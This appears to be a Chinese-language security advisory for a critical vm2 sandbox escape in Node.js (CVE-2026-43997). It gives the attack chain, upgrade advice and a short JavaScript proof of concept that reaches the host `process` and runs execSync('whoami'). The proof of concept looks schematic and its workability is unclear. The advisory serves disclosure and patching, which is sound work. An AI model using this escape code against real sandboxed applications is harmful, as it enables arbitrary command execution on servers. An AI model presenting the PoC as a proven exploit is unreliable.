IPBUF安全漏洞报告
English
CVE-2026-43997 CVSS 10.0 严重

CVE-2026-43997 vm2沙箱逃逸漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-43997
漏洞类型
沙箱逃逸
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
vm2

相关标签

沙箱逃逸远程代码执行vm2Node.jsCVE-2026-43997

漏洞概述

vm2是Node.js的一个开源虚拟机和沙箱环境。在3.11.0版本之前,该组件存在严重的沙箱逃逸漏洞。攻击者能够成功获取宿主机对象,并利用其特性绕过沙箱限制,进而逃逸沙箱环境。这使得攻击者可以在宿主机上执行任意代码,对系统机密性、完整性和可用性造成严重影响。

技术细节

该漏洞的核心在于vm2沙箱在处理对象属性时的隔离机制失效,使得恶意代码能够引用宿主机的对象。攻击者通过构造特定的JavaScript代码,在沙箱内部调用HostObject.getOwnPropertySymbols方法,尝试枚举并获取宿主对象的隐藏属性。关键利用点在于获取Symbol(nodejs.util.inspect.custom)符号,利用该符号可以访问Node.js的内部对象或触发特定的getter/setter。一旦成功引用宿主机对象,攻击者即可绕过沙箱的安全限制,利用JavaScript的原型链污染或直接调用process.binding等内部API,最终实现任意代码执行(RCE)并完全控制宿主服务器。

攻击链分析

STEP 1
步骤1
攻击者向使用vm2库的Node.js应用发送包含恶意JavaScript代码的请求。
STEP 2
步骤2
恶意代码在vm2沙箱内执行,尝试获取宿主机对象引用。
STEP 3
步骤3
利用HostObject.getOwnPropertySymbols方法检索Symbol(nodejs.util.inspect.custom)符号。
STEP 4
步骤4
利用获取的符号逃逸沙箱限制,在宿主机上下文中执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const {VM} = require('vm2'); const vm = new VM(); // Malicious payload targeting the sandbox escape const exploit = ` try { // Attempt to access the host context/object const hostObject = this; // Step 1: Use getOwnPropertySymbols to leak symbols const symbols = Object.getOwnPropertySymbols(hostObject); // Step 2: Identify the specific nodejs.util.inspect.custom symbol const dangerousSymbol = symbols.find(s => s.toString() === 'Symbol(nodejs.util.inspect.custom)'); if (dangerousSymbol) { // Step 3: Use the symbol to escape the sandbox const escapeFunction = hostObject[dangerousSymbol]; // Execute arbitrary command on the host escapeFunction.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString(); } } catch(e) { e; } `; console.log('Exploiting CVE-2026-43997...'); vm.run(exploit);

影响范围

vm2 < 3.11.0

防御指南

临时缓解措施
建议立即升级vm2库至3.11.0或更高版本以修补此漏洞。如果无法立即升级,应严格限制沙箱代码的输入来源,并在网络层面对应用进行隔离,防止攻击者利用漏洞控制服务器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表